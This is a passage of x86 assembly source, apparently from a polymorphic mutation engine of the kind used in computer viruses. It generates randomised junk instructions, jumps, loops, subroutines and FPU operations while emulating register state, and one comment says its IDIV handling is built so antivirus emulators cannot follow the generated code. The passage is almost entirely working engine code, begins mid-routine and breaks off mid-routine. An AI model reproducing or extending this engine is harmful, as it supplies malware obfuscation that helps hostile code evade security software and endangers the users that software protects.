   cmp eax, regavail ; 2
   je @@bad
   call @@get_init_reg
   jc @@bad
   bt regused, eax
   jc @@get_free_reg
; clc
   retn
@@bad: mov eax, -1
   stc
   retn

; ===========================================================================

   ; this subroutine finds new output pointer (in EDI)

@@find_new_eip:
   mov edx, C_EIP_MAX_ITER ; max number of restarts

@@eip_find: dec edx ; error if no free space
   jz @@error_nomemory

   ; find random location within outbuf
   mov eax, o_max
   sub eax, C_EIP_TOP+C_EIP_BOTTOM
   call rnd_eax
   add eax, C_EIP_TOP
   add eax, o_offs
   xchg edi, eax

   ; scan it -- should be unused
   mov ecx, C_EIP_NEXT+C_EIP_PREV
   mov eax, o_fillchar
   repz scasb
   jnz @@eip_find
   sub edi, C_EIP_NEXT

   retn

; ---------------------------------------------------------------------------

   ; this subroutine called before each command is
   ; stored to output stream
   ; it probably adds JMP to new random location

@@eip_do1: pushad
   jmp @@eip_do

@@eip: pusha

   mov eax, o_offs ; check if end of outbuf is
   add eax, o_max ; reached. MUST add jmp then.
   sub eax, edi
   cmp eax, C_EIP_BOTTOM
   jb @@eip_do

   mov eax, o_fillchar ; scan following code --
   mov ecx, C_EIP_NEXT ; -- it should be unused,
   push edi ; MUST add jmp otherwise
   repz scasb
   pop edi
   jnz @@eip_do

   ; here we may skip jmp

   flagsnz FLAG_NOJMPS, @@eip_done ; JMPs disabled? -exit

   mov eax, jmp_prob ; add JMP if rnd(jmp_prob)==0
   call rnd_eax
   jnz @@eip_done

@@eip_do:
   ; well, here we MUST select new location, or die

   flagsnz FLAG_NOJMPS, @@error_nomemory ; no JMPs? - error!

   mov al, 0E9h ; add JMP
   stosb
   stosd ; space for argument
   mov ebx, edi ; save old position

   call @@find_new_eip ; try to find new location

   mov eax, edi ; link
   sub eax, ebx
   mov [ebx-4], eax

@@eip_done: mov [esp+0*4], edi ; pushad_edi
   popa
   retn

; ===================== "logic" management ==================================

   ; this subroutine adds "logic" instruction into
   ; output stream.

@@poly_cmd: pusha

   flagsnz FLAG_NOLOGIC, @@poly_cmd_exit ; logic disabled? --exit

   mov eax, cmdavail ; no avail cmds?
   or eax, cmdavail2
   jz @@poly_cmd_exit ; --exit

   mov eax, regused ; all avail regs used?
   cmp eax, regavail
   je @@poly_cmd_exit ; --exit

   call @@eip ; add JMP if needed

@@poly_cmd_restart:

REG1 equ ebx
REG2 equ edx
REG1_8 equ bl
REG2_8 equ dl
XXX equ ecx ; fixed
XXX_8 equ cl ; fixed

   ; reg1: destination, read-write
   call @@get_free_reg ; get free reg
   xchg REG1, eax
   jc @@poly_cmd_exit

   ; reg2: source, read-only. to write into, do check
   call @@get_init_reg ; get init reg
   xchg REG2, eax
   jc @@poly_cmd_exit

   call rnd_dword ; get random argument
   xchg XXX, eax

   mov eax, 55
   call rnd_eax ; select random command index

   ; dispatch

   or eax, eax
   jz @@x_not
   dec eax
   jz @@x_neg
   dec eax
   jz @@x_inc
   dec eax
   jz @@x_dec
   dec eax
   jz @@x_inc
   dec eax
   jz @@x_dec
   dec eax
   jz @@x_shl
   dec eax
   jz @@x_shr
   dec eax
   jz @@x_rol
   dec eax
   jz @@x_ror
   dec eax
   jz @@x_sar
   dec eax
   jz @@x_mov_c
   dec eax
   jz @@x_add_c
   dec eax
   jz @@x_sub_c
   dec eax
   jz @@x_mov_c
   dec eax
   jz @@x_add_c
   dec eax
   jz @@x_sub_c
   dec eax
   jz @@x_xor_c
   dec eax
   jz @@x_and_c
   dec eax
   jz @@x_or_c
   dec eax
   jz @@x_rol_c
   dec eax
   jz @@x_ror_c

   dec eax ; r1, r1
   jz @@x_add
   dec eax ;
   jz @@x_sub
   dec eax ;
   jz @@x_xor

   dec eax ; r1, r2
   jz @@x_imul_ex
   dec eax ; r1, r2, c
   jz @@x_imul_ex_c

   dec eax ; r1, c
   jz @@x_btc_c
   dec eax ;
   jz @@x_btr_c
   dec eax ;
   jz @@x_bts_c

   dec eax ; r1
   jz @@x_bswap

   dec eax ; movzx/movsx
   jz @@movsxzx
   dec eax ; push reg/pop
   jz @@pushrp
   dec eax ; push imm/pop
   jz @@puship

   dec eax
   jz @@x_mul
   dec eax
   jz @@x_imul
   dec eax
   jz @@x_div
   dec eax
   jz @@x_idiv

   dec eax
   jz @@x_fpu

   ; new commands that dont need 2 dif. regs

   dec eax
   jz @@cmp_i_follow
   dec eax
   jz @@cmp_i_nofollow

   dec eax
   jz @@callsub

   dec eax
   jz @@subroutine

   dec eax
   jz @@x_bsr
   dec eax
   jz @@x_bsf

   ; add other commands if only different regs selected
   cmp REG1, REG2 ; r1 == r2 ?
   je @@poly_cmd_restart

   dec eax
   jz @@x_xchg

   dec eax
   jz @@x_mov
   dec eax
   jz @@x_and
   dec eax
   jz @@x_or

   dec eax ; r1, r2, c
   jz @@x_shld
   dec eax ; r1, r2, c
   jz @@x_shrd

   dec eax ; r1, r2
   jz @@x_xadd

   dec eax
   jz @@cmp_r_nofollow
   dec eax
   jz @@cmp_r_follow

   dec eax
   jz @@x_cycle

   int 3 ; shouldn't be executed. fix # of items

@@poly_cmd_exit: ; exit
   mov [esp+0*4], edi ; pushad_edi
   popa
   retn

; --------------------- cycle -----------------------------------------------

@@x_cycle:
   testcmd2 CMD2_CYCLE, @@poly_cmd_restart

   push cmdavail
   push cmdavail2
   and cmdavail, not (CMD_DIV+CMD_IDIV)
   and cmdavail2, not (CMD2_CYCLE+CMD2_SUBROUTINE+\
   CMD2_IFOLLOW+CMD2_INOFOLLOW+\
   CMD2_RFOLLOW+CMD2_RNOFOLLOW)
   bts regused, REG1 ;mark cycle register as used

   push edi ; start-cycle: eip
   call @@eip

   call @@garbage_10

   call rnd_zf
   jz @@gen_sub

@@gen_add: mov ax, 0C081h ; add reg, param
   or ah, REG1_8
   stosw
   mov eax, XXX
   stosd

   jmp @@gen_done

@@gen_sub: mov ax, 0E881h ; sub reg, param
   or ah, REG1_8
   stosw
   mov eax, XXX
   stosd

   neg XXX ; 4emul: add->sub
@@gen_done:
   ; calc # of cycle iterations
   mov eax, 666*100
   call rnd_eax
   inc eax

@@em_add: add em_reg[REG1*4], XXX ; calc resulting value
   dec eax
   jnz @@em_add

   call @@eip

   call @@garbage_10

   mov ax, 0F881h ; cmp r,result
   or ah, REG1_8
   stosw
   mov eax, em_reg[REG1*4]
   stosd

   call @@eip

   pop ecx ; start-cycle: eip

   lea eax, [edi+2]
   sub eax, ecx
   neg eax

   cmp eax, 127
   jg @@j_long
   cmp eax, -128
   jl @@j_long

@@j_short: call rnd_zf
   jz @@j_long

   mov ah, al
   mov al, 75h
   stosw

   jmp @@temptemp

@@j_long: mov ax, 850Fh ; jne
   stosw
   stosd
   sub ecx, edi
   mov [edi-4], ecx
@@temptemp:

   pop cmdavail2
   pop cmdavail
   mov eax, regused ; mark all free regs as uninit
   and reginit, eax ; (value unknown)
   btr regused, REG1 ; mark cycle register as free

   jmp @@poly_cmd_exit

; --------------------- call subroutine -------------------------------------

@@callsub: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart

   cmp p_count, 0 ; no subs were generated yet?
   je @@poly_cmd_exit ; !

   cmp in_subroutine, 0 ; do not make recurse calls
   jne @@poly_cmd_exit ; !

; select random sub; get addr & stack size
   mov eax, p_count
   call rnd_eax
   xchg esi, eax
   mov ebx, p_addr[esi*4]
   movzx ecx, p_stack[esi]

; push params
   jecxz @@skip_push_rnd

@@push_rnd: call @@eip

   call rnd_8
   add al, 50h
   stosb

   loop @@push_rnd
@@skip_push_rnd:

; generate call
   call @@eip

   mov al, 0E8h
   stosb
   stosd
   sub ebx, edi
   mov [edi-4], ebx

   movzx ecx, p_conv[esi]
   jecxz @@skip_fixstk ; 0=pascal

   movzx ecx, p_stack[esi]
   jecxz @@skip_fixstk

   mov ax, 0C483h ; add esp, nn
   stosw
   lea eax, [ecx*4]
   stosb

   call rnd_zf
   jz @@skip_fixstk
   mov byte ptr [edi-2], 0ECh ; add-->sub
   neg byte ptr [edi-1] ; -nn
@@skip_fixstk:
   jmp @@poly_cmd_exit

; --------------------- generate subroutine ---------------------------------

@@subroutine: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart

   cmp p_count, C_MAX_SUB ; fixed # of subroutines
   jae @@poly_cmd_exit ; !

   inc in_subroutine ; we're inside of subroutine(s)

; now, push all the state related to output code flow generation

   flagsnz FLAG_NOJMPS, @@s_no_jmps ; cant be called?

   ; if jmps allowed, gen sub somewhere there
   push edi ; current EIP
   call @@eip_do1 ; change EIP (requres FLAG_NOJMPS=0)

   jmp @@s_done

@@s_no_jmps: mov al, 0E9h ; NOJMPS? bypass subroutine
   stosb
   stosd
   push edi ; current EIP
@@s_done:

   call @@state_push

   xor ecx, ecx ; ECX<--number of paramz
   call rnd_zf ; have any params?
   jnz @@set0
   mov eax, 4 ; 1..4
   call rnd_eax
   lea ecx, [eax+1]
@@set0:
   ; save addr(EDI) & params(CL)
   mov eax, p_count
   inc p_count
   mov p_addr[eax*4], edi
   mov p_stack[eax], cl

   ; calling convention: cdecl=1, pascal=0
   call rnd_zf
   sete dl
   mov p_conv[eax], dl

   dec dl ; cdecl=0, pascal=-1
   and cl, dl ; if (cdecl) pop_params=0

   shl ecx, 2
   push ecx ; params size, in BYTEs

; reinitialize the state

; reduce set of registers available
@@rnd_again: call rnd_byte
   and eax, regavail
   jz @@rnd_again
   mov regavail, eax

   mov reginit, 0 ; all register values unknow
   mov regused, 0 ; ('coz multiple calls)

; prolog
   mov ebx, regavail
@@push_loop: bsf eax, ebx ; smart idea
   jz @@push_done
   btr ebx, eax
   call @@eip
   add al, 50h
   stosb
   jmp @@push_loop
@@push_done:

; body
   mov eax, 50
   call @@multi_garbage

   call @@eip
; epilog
   mov ebx, regavail ; pop mask
@@pop_loop: bsr eax, ebx
   jz @@pop_done
   btr ebx, eax
   call @@eip
   add al, 58h ;POP regs 1 at once
   stosb
   jmp @@pop_loop
@@pop_done:

; retn
   call @@eip

   mov al, 0C3h
   stosb

   pop ecx ; param frame size
   jecxz @@simpleret

   dec byte ptr [edi-1] ; C3->C2
   mov eax, ecx ; RET ? clean paramz
   stosw
@@simpleret:

   call @@state_pop

; restore all the state
   flagsnz FLAG_NOJMPS, @@e_no_jmps

   pop edi ; 5 bytes (unrealized JMP) at EDI

   jmp @@e_done

@@e_no_jmps: pop ecx
   mov eax, edi
   sub eax, ecx
   mov [ecx-4], eax
@@e_done:
   dec in_subroutine

   jmp @@poly_cmd_exit

; --------------------- misc ------------------------------------------------

@@state_push: pop esi

   push regavail

   lea eax, state_begin
   lea ecx, state_end
@@push_cycle: push dword ptr [eax]
   add eax, 4
   cmp eax, ecx
   jne @@push_cycle

   jmp esi

@@state_pop: pop esi

   lea eax, state_begin
   lea ecx, state_end
@@pop_cycle: sub ecx, 4
   pop dword ptr [ecx]
   cmp ecx, eax
   jne @@pop_cycle

   pop regavail

   jmp esi

; --------------------- movsxzx ---------------------------------------------

@@movsxzx: testcmd CMD_MOVSXZX, @@poly_cmd_restart

   cmp REG2, 4
   jae @@poly_cmd_exit

   mov ecx, em_reg[REG2*4]

   call rnd_zf
   jz @@use_xl

   mov cl, ch ;use high 8 bits (AH,BH,...)
   or REG2_8, 4
@@use_xl:
   call rnd_zf
   jz @@movsx

@@movzx: mov ax, 0B60Fh ;movzx
   movzx ecx, cl

   jmp @@stos_sxzx

@@movsx: mov ax, 0BE0Fh ;movsx
   movsx ecx, cl

@@stos_sxzx:
   mov em_reg[REG1*4], ecx

   stosw

   xchg REG1, REG2
   call @@modrm

   jmp @@poly_cmd_exit

; --------------------- push reg ; poly_cmd() ; pop_reg----------------------

@@pushrp: testcmd2 CMD2_PUSHPOPR, @@poly_cmd_restart

   mov ecx, em_reg[REG2*4]
   lea eax, [REG2+50h]
   stosb ; push reg

   jmp @@pop

@@puship: testcmd2 CMD2_PUSHPOPC, @@poly_cmd_restart

   call rnd_zf
   jz @@imm_d

@@imm_b: mov ah, cl
   movsx ecx, ah
   mov al, 6Ah ; push byte
   stosw

   jmp @@pop

@@imm_d: mov al, 68h
   stosb ; push dword
   mov eax, ecx
   stosd

@@pop:
   bts regused, REG1 ;v5.50 bugfix
   call @@poly_cmd
   btr regused, REG1 ;v5.50 bugfix

   call @@eip
   lea eax, [REG1+58h]
   stosb ;pop reg
   mov em_reg[REG1*4], ecx

   jmp @@poly_cmd_exit

; --------------------- cmp r, r/c ; jxx ------------------------------------

@@cmp_i_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit

   testcmd2 CMD2_IFOLLOW, @@poly_cmd_exit

   mov tempo, -1

   jmp @@cmp_i

@@cmp_i_nofollow: testcmd2 CMD2_INOFOLLOW, @@poly_cmd_exit

   mov tempo, 0

@@cmp_i:
   test REG1, REG1
   jnz @@longcmp
   flagsnz FLAG_NOSHORT, @@longcmp ; if skip short opcs

   mov al, 3Dh ; short form for eax
   stosb

   jmp @@cmpeaxboth

@@longcmp: mov ax, 0F881h ; CMP
   or ah, REG1_8
   stosw

@@cmpeaxboth: call rnd_zf

   mov eax, em_reg[REG1*4] ;Z
   jz @@useit
   mov eax, XXX ; ecx

   flagsnz FLAG_NOSHORT_C, @@useit
   call rnd_zf
   jnz @@useit

   dec edi ;
   cmp byte ptr [edi], 3Dh ; EAX ?
   je @@longcmp ;
   inc edi ;

   mov byte ptr [edi-2], 83h ; 81->83, short form
   movsx eax, al ; to pass EAX to @@outcond
   stosb

   jmp @@outcond

@@useit: stosd
   jmp @@outcond

@@cmp_r_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit

   testcmd2 CMD2_RFOLLOW, @@poly_cmd_exit

   mov tempo, -1

   jmp @@cmp_r

@@cmp_r_nofollow: testcmd2 CMD2_RNOFOLLOW, @@poly_cmd_exit

   mov tempo, 0

@@cmp_r:
   push REG1 REG2 ; 'coz of @@swap

   mov al, 39h ; cmp r,r
   call @@swap
   stosb
   call @@modrm

   pop REG2 REG1

   mov eax, em_reg[REG2*4]

@@outcond:
   call @@eip

   cmp em_reg[REG1*4], eax

   seto jxxcond[0]
   setb jxxcond[2]
   sete jxxcond[4]
   setbe jxxcond[6]
   sets jxxcond[8]
   setp jxxcond[10]
   setl jxxcond[12]
   setle jxxcond[14]

   call rnd_8
   shl eax, 1
   xor al, jxxcond[eax]
   xor al, 70h

   mov ecx, tempo
   jecxz @@dont_follow

   xor al, 0F1h ; invert condition + short2near
   mov ah, 0Fh ;
   xchg al, ah
   mov ebx, edi
   inc edi ; +1
   call @@eip_do1
   mov word ptr [ebx], ax ;convert to jcc

   jmp @@poly_cmd_exit

@@dont_follow: call rnd_zf
   jz @@long_dontfollow

@@short_dontfollow: stosb
   call rnd_byte
   stosb ;displacement(that dont get exec)

   jmp @@poly_cmd_exit

@@long_dontfollow: xor al, 0F0h
   mov ah, 0Fh
   xchg al, ah
   stosw
   call rnd_dword
   stosd

   jmp @@poly_cmd_exit

; --------------------- common subroutines ----------------------------------

; input: EAX=opcode, REG1,REG2

@@swap: flagsnz FLAG_NOSWAP, @@swap_retn
   call rnd_zf
   jz @@swap_retn
   xor al, 2 ; bit 'S', means swap regs
   xchg REG1, REG2 ; so, the same action
@@swap_retn: retn

@@oralR1_stosb: or al, REG1_8
   stosb
   jmp @@poly_cmd_exit

@@orahR1_stosw: or ah, REG1_8
   stosw
   jmp @@poly_cmd_exit

@@swap_stosb_modrm: call @@swap
   jmp @@stosb_modrm

@@stosw_modrm: stosb
   mov al, ah
@@stosb_modrm: stosb
   call @@modrm
   jmp @@poly_cmd_exit

@@modrm: pusha
   mov al, 0C0h
   shl REG2_8, 3
   or al, REG2_8
   or al, REG1_8
   stosb
   popa
   inc edi
   retn

@@stosw_modrm_stosbX: stosw
   call @@modrm
   jmp @@stosbX

@@stosb_modrm_stosd: stosb
   call @@modrm
   jmp @@stosd

@@oralR1_stosb_stosd: or al, REG1_8
@@stosb_stosd: stosb
@@stosd: xchg eax, XXX
   stosd
   jmp @@poly_cmd_exit

@@orahR1_stosw_stosd: or ah, REG1_8
   stosw
   jmp @@stosd

@@checkshort: cmp al, 83h
   je @@orahR1_stosw_stosbX

   flagsnz FLAG_NOSHORT, @@orahR1_stosw_stosd
   test REG1, REG1
   jnz @@orahR1_stosw_stosd
   shr eax, 16
   jmp @@stosb_stosd

@@orahR1_stosw_stosbX: or ah, REG1_8
   stosw
@@stosbX: mov al, XXX_8
   stosb
   jmp @@poly_cmd_exit

@@modarg: and ecx, 31 ; if (x==0) x++;
   cmp cl, 1
   adc cl, 0
   retn

@@stos3or: stosw
   shr eax, 16
   or al, REG1_8
   mov ah, XXX_8
   stosw
   jmp @@poly_cmd_exit

; ---------------------------------------------------------------------------

@@x_not: testcmd CMD_NOT, @@poly_cmd_restart
   not em_reg[REG1*4] ; emul -- not r1
   mov ax, 0d0f7h ; opcode
   jmp @@orahR1_stosw

@@x_neg: testcmd CMD_NEG, @@poly_cmd_restart
   neg em_reg[REG1*4] ; emul -- neg r1
   mov ax, 0d8f7h ; opcode
   jmp @@orahR1_stosw

@@x_inc: testcmd CMD_INC, @@poly_cmd_restart
   inc em_reg[REG1*4] ; emul -- inc r1
   mov al, 40h ; opcode
   jmp @@oralR1_stosb

@@x_dec: testcmd CMD_DEC, @@poly_cmd_restart
   dec em_reg[REG1*4] ; emul -- dec r1
   mov al, 48h ; opcode
   jmp @@oralR1_stosb

@@x_shl: testcmd CMD_SHL, @@poly_cmd_restart
   shl em_reg[REG1*4], 1 ; emul -- shl r1, 1
   mov ax, 0e0d1h ; opcode
   jmp @@orahR1_stosw

@@x_shr: testcmd CMD_SHR, @@poly_cmd_restart
   shr em_reg[REG1*4], 1 ; emul -- shr r1, 1
   mov ax, 0e8d1h ; opcode
   jmp @@orahR1_stosw

@@x_rol: testcmd CMD_ROL, @@poly_cmd_restart
   rol em_reg[REG1*4], 1 ; emul -- rol r1, 1
   mov ax, 0c0d1h ; opcode
   jmp @@orahR1_stosw

@@x_ror: testcmd CMD_ROR, @@poly_cmd_restart
   ror em_reg[REG1*4], 1 ; emul -- ror r1, 1
   mov ax, 0c8d1h ; opcode
   jmp @@orahR1_stosw

@@x_sar: testcmd CMD_SAR, @@poly_cmd_restart
   sar em_reg[REG1*4], 1 ; emul -- sar r1, 1
   mov ax, 0f8d1h ; opcode
   jmp @@orahR1_stosw

@@x_xor: testcmd CMD_XOR, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- xor r1, r2
   xor em_reg[REG1*4], eax
   mov al, 31h ; opcode
   jmp @@swap_stosb_modrm

@@x_add: testcmd CMD_ADD, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- add r1, r2
   add em_reg[REG1*4], eax
   mov al, 01h ; opcode
   jmp @@swap_stosb_modrm

@@x_sub: testcmd CMD_SUB, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- sub r1, r2
   sub em_reg[REG1*4], eax
   mov al, 29h ; opcode
   jmp @@swap_stosb_modrm

@@x_mov: testcmd CMD_MOV, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- mov r1, r2
   mov em_reg[REG1*4], eax
   mov al, 89h ; opcode
   jmp @@swap_stosb_modrm

@@x_xchg: testcmd CMD_XCHG, @@poly_cmd_restart
   bt regused, REG2
   jc @@poly_cmd_exit
   mov eax, em_reg[REG1*4] ; emul -- xchg r1, r2
   xchg em_reg[REG2*4], eax
   mov em_reg[REG1*4], eax
   mov al, 87h ; opcode
   jmp @@stosb_modrm

@@x_and: testcmd CMD_AND, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- and r1, r2
   and em_reg[REG1*4], eax
   mov al, 21h ; opcode
   jmp @@swap_stosb_modrm

@@x_or: testcmd CMD_OR, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- or r1, r2
   or em_reg[REG1*4], eax
   mov al, 09h ; opcode
   jmp @@swap_stosb_modrm

@@x_mov_c: testcmd CMD_MOV, @@poly_cmd_restart
   mov em_reg[REG1*4], XXX ; emul -- mov r1, c
   mov al, 0B8h ; opcode
   jmp @@oralR1_stosb_stosd

@@x_add_c: testcmd CMD_ADD, @@poly_cmd_restart
   mov eax, 05C081h
   call @@try_short
   add em_reg[REG1*4], XXX ; emul -- add r1, c
   jmp @@checkshort

@@x_sub_c: testcmd CMD_SUB, @@poly_cmd_restart
   mov eax, 2DE881h ; opcode
   call @@try_short
   sub em_reg[REG1*4], XXX ; emul -- sub r1, c
   jmp @@checkshort

@@x_xor_c: testcmd CMD_XOR, @@poly_cmd_restart
   mov eax, 35F081h ; opcode
   call @@try_short
   xor em_reg[REG1*4], XXX ; emul -- xor r1, c
   jmp @@checkshort

@@x_and_c: testcmd CMD_AND, @@poly_cmd_restart
   mov eax, 25E081h ; opcode
   call @@try_short
   and em_reg[REG1*4], XXX ; emul -- and r1, c
   jmp @@checkshort

@@x_or_c: testcmd CMD_OR, @@poly_cmd_restart
   mov eax, 0DC881h ; opcode
   call @@try_short
   or em_reg[REG1*4], XXX ; emul -- or r1, c
   jmp @@checkshort

@@try_short: flagsnz FLAG_NOSHORT_C, @@try_short_retn
   call rnd_zf
   jz @@try_short_retn
   or al, 2 ; 81->83
   movsx XXX, XXX_8
@@try_short_retn: retn

@@x_rol_c: testcmd CMD_ROL, @@poly_cmd_restart
   call @@modarg ; modify argument
   rol em_reg[REG1*4], cl ; emul -- rol r1, c
   mov ax, 0C0C1h ; opcode
   jmp @@orahR1_stosw_stosbX

@@x_ror_c: testcmd CMD_ROR, @@poly_cmd_restart
   call @@modarg ; modify argument
   ror em_reg[REG1*4], cl ; emul -- ror r1, c
   mov ax, 0C8C1h ; opcode
   jmp @@orahR1_stosw_stosbX

@@x_imul_ex: testcmd CMD_IMUL_EX, @@poly_cmd_restart
   mov eax, em_reg[REG1*4] ; emul -- imul r1, r2
   imul eax, em_reg[REG2*4]
   mov em_reg[REG1*4], eax
   mov ax, 0AF0Fh ; opcode
   xchg REG1, REG2
   jmp @@stosw_modrm

@@x_imul_ex_c: testcmd CMD_IMUL_EX, @@poly_cmd_restart
   mov eax, em_reg[REG2*4] ; emul -- imul r1,r2,c
   imul eax, XXX
   mov em_reg[REG1*4], eax
   mov al, 69h ; opcode
   xchg REG1, REG2
   jmp @@stosb_modrm_stosd

@@x_shld: testcmd CMD_SHLD, @@poly_cmd_restart
   call @@modarg ; modify argument
   mov eax, em_reg[REG2*4] ; emul -- shld r1,r2,c
   shld em_reg[REG1*4], eax, cl
   mov ax, 0A40Fh ; opcode
   jmp @@stosw_modrm_stosbX

@@x_shrd: testcmd CMD_SHRD, @@poly_cmd_restart
   call @@modarg ; modify argument
   mov eax, em_reg[REG2*4] ; emul -- shrd r1,r2,c
   shrd em_reg[REG1*4], eax, cl
   mov ax, 0AC0Fh ; opcode
   jmp @@stosw_modrm_stosbX

@@x_btc_c: testcmd CMD_BTC, @@poly_cmd_restart
   call @@modarg ; modify argument
   btc em_reg[REG1*4], XXX ; emul -- btc r1, c
   mov eax, 0f8ba0fh ; opcode
   jmp @@stos3or

@@x_btr_c: testcmd CMD_BTR, @@poly_cmd_restart
   call @@modarg ; modify argument
   btr em_reg[REG1*4], XXX ; emul -- btr r1, c
   mov eax, 0f0ba0fh ; opcode
   jmp @@stos3or

@@x_bts_c: testcmd CMD_BTS, @@poly_cmd_restart
   call @@modarg ; modify argument
   bts em_reg[REG1*4], XXX ; emul -- bts r1, c
   mov eax, 0e8ba0fh ; opcode
   jmp @@stos3or

@@x_bswap: testcmd CMD_BSWAP, @@poly_cmd_restart
   mov eax, em_reg[REG1*4] ; emul -- bswap r1
   bswap eax
   mov em_reg[REG1*4], eax
   mov ax, 0c80fh ; opcode
   jmp @@orahR1_stosw

@@x_xadd: testcmd CMD_XADD, @@poly_cmd_restart
   bt regused, REG2
   jc @@poly_cmd_exit
   mov eax, em_reg[REG1*4] ; emul -- xadd r1,r2
   mov ecx, em_reg[REG2*4]
   xadd eax, ecx
   mov em_reg[REG1*4], eax
   mov em_reg[REG2*4], ecx
   mov ax, 0C10Fh ; opcode
   jmp @@stosw_modrm

@@x_bsr: testcmd CMD_BSR, @@poly_cmd_restart
   mov eax, em_reg[REG1*4]
   mov ecx, em_reg[REG2*4]
   bsr eax, ecx
   mov em_reg[REG1*4], eax
   mov ax, 0BD0Fh
   xchg REG1, REG2
   jmp @@stosw_modrm

@@x_bsf: testcmd CMD_BSF, @@poly_cmd_restart
   mov eax, em_reg[REG1*4]
   mov ecx, em_reg[REG2*4]
   bsf eax, ecx
   mov em_reg[REG1*4], eax
   mov ax, 0BC0Fh
   xchg REG1, REG2
   jmp @@stosw_modrm

@@md_init: mov eax, regavail
   and eax, REG_EAX+REG_EDX
   cmp eax, REG_EAX+REG_EDX
   jne @@md_sux
   mov eax, reginit
   and eax, REG_EAX+REG_EDX
   cmp eax, REG_EAX+REG_EDX
   jne @@md_sux
   test regused, REG_EAX+REG_EDX
   jnz @@md_sux
   mov eax, em_reg[REG_EAX_N*4]
   mov edx, em_reg[REG_EDX_N*4]
   mov ecx, em_reg[REG1*4]
   retn
@@md_sux: pop eax ; return address
   jmp @@poly_cmd_exit

@@md_done: mov em_reg[REG_EAX_N*4], eax
   mov em_reg[REG_EDX_N*4], edx
   retn

@@x_mul: testcmd CMD_MUL, @@poly_cmd_restart
   call @@md_init
   mul ecx
   call @@md_done
   mov ax, 0E0F7h
   jmp @@orahR1_stosw

@@x_imul: testcmd CMD_IMUL, @@poly_cmd_restart
   call @@md_init
   imul ecx
   call @@md_done
   mov ax, 0E8F7h
   jmp @@orahR1_stosw

@@x_div: testcmd CMD_DIV, @@poly_cmd_restart
   call @@md_init
   ;; check if DIV avail
   or ecx, ecx
   jz @@poly_cmd_exit
   cmp ecx, edx
   jbe @@poly_cmd_exit
   ;;
   div ecx
   call @@md_done
   mov eax, 0F0F7h
   jmp @@orahR1_stosw

@@x_idiv: testcmd CMD_DIV, @@poly_cmd_restart
   call @@md_init
   ;; check if IDIV avail X-)
   call @@can_idiv
   jc @@poly_cmd_exit
   ;;
   idiv ecx
   call @@md_done
   mov eax, 0F8F7h
   jmp @@orahR1_stosw

; action: IDIV parameters checking (partial emulation, unsigned)
; input: EDX:EAX, ECX
; output: CF
; * all AV emulators performs only partial verification at this step,
; * and skips some good IDIVs. So, they will be unable to emul our code.

@@can_idiv: pusha
   or ecx, ecx
   stc ; 4.00:optimized
   jz @@idiv_err
   jg @@g1
   neg ecx
@@g1: or edx, edx
   jge @@g2
   neg edx
   neg eax
   sbb edx, 0
@@g2: xor esi, esi ; d
   xor edi, edi ; m
   mov bl, 64
@@divcycle: shl esi, 1 ; d <<= 1
   jc @@idiv_err
   shl eax, 1 ; x <<= 1
   rcl edx, 1
   rcl edi, 1 ; m = (m << 1) | x.bit[i]
   jc @@cmpsub
   cmp edi, ecx ; if (m >= y)
   jb @@cmpsubok
@@cmpsub: sbb edi, ecx ; m -= y
   or esi, 1 ; d |= 1
@@cmpsubok: dec bl
   jnz @@divcycle
   shl esi, 1
   jc @@idiv_err
   shl edi, 1
   ; jc @@idiv_err ; 4.00:optimized
   ; popa
   ; retn
@@idiv_err: ; stc
   popa
   retn

; ---------------------------------------------------------------------------

; real super-puper...

@@x_fpu: testcmd2 CMD2_FPU, @@poly_cmd_restart

   cmp in_subroutine, 0 ; avoid FPU stack overflow
   jne @@poly_cmd_exit

   cmp fpustack, 8 ; max FPU stack
   jae @@poly_cmd_exit

   cmp fpuinit, 0
   jne @@alredyinit
   inc fpuinit

   mov ax, 0DB9Bh ; finit (wait+fninit)
   stosw
   mov al, 0E3h
   stosb
   finit
   mov fpustack, 0

   jmp @@poly_cmd_exit ; v5.50 bugfix
@@alredyinit:
   bts regused, REG1 ; v5.50 bugfix

   lea eax, [REG2+50h] ; push reg2
   stosb
   push em_reg[REG2*4]

   call @@poly_cmd

   call @@do_fild ; fld/fild dword ptr [esp]

   xor esi, esi ; 1 arg

   cmp fpustack, 8 ; no more fpu stack avail?
   jae @@fpu_onearg

   call rnd_zf
   jnz @@fpu_twoarg
@@fpu_onearg:
   call rnd_3
; jz @@fsin
   dec eax
   jz @@fcos
   dec eax
   jz @@fsqrt

@@fsin: mov ax, 0FED9h
   fsin
   jmp @@stosw_fpu_done

@@fcos: mov ax, 0FFD9h
   fcos
   jmp @@stosw_fpu_done

@@fsqrt: mov ax, 0FAD9h
   fsqrt

@@stosw_fpu_done: stosw

@@fpu_done: call @@poly_cmd

   call @@do_fist ; fstp/fistp dword ptr [esp]

   call @@eip
   lea eax, [REG1+58h] ; pop reg1
   stosb
   pop em_reg[REG1*4]

   btr regused, REG1 ; v5.50 bugfix

   or esi, esi
   jz @@was1

   call @@poly_cmd
   call @@eip
   mov ax, 0C483h ; add esp, 4
   stosw
   mov al, 4
   stosb
   add esp, 4
@@was1:
   jmp @@poly_cmd_exit

@@fpu_twoarg: inc esi ; 2 args

   lea eax, [REG1+50h] ; push reg1
   stosb
   push em_reg[REG1*4]

   call @@poly_cmd

   call @@do_fild ; fld/fild dword ptr [esp]

   mov eax, 6
   call rnd_eax
; jz @@fadd
   dec eax
   jz @@fsub
   dec eax
   jz @@fsubr
   dec eax
   jz @@fmul
   dec eax
   jz @@fdiv
   dec eax
   jz @@fdivr

@@fadd: mov ax, 0C1DEh
   fadd
@@dfs_stosw_fpu_done:
   dec fpustack
   jmp @@stosw_fpu_done

@@fsub: mov ax, 0E9DEh
   fsub
   jmp @@dfs_stosw_fpu_done

@@fsubr: mov ax, 0E1DEh
   fsubr
   jmp @@dfs_stosw_fpu_done

@@fmul: mov ax, 0C9DEh
   fmul
   jmp @@dfs_stosw_fpu_done

@@fdiv: mov ax, 0F9DEh
   fdiv
   jmp @@dfs_stosw_fpu_done

@@fdivr: mov ax, 0F1DEh
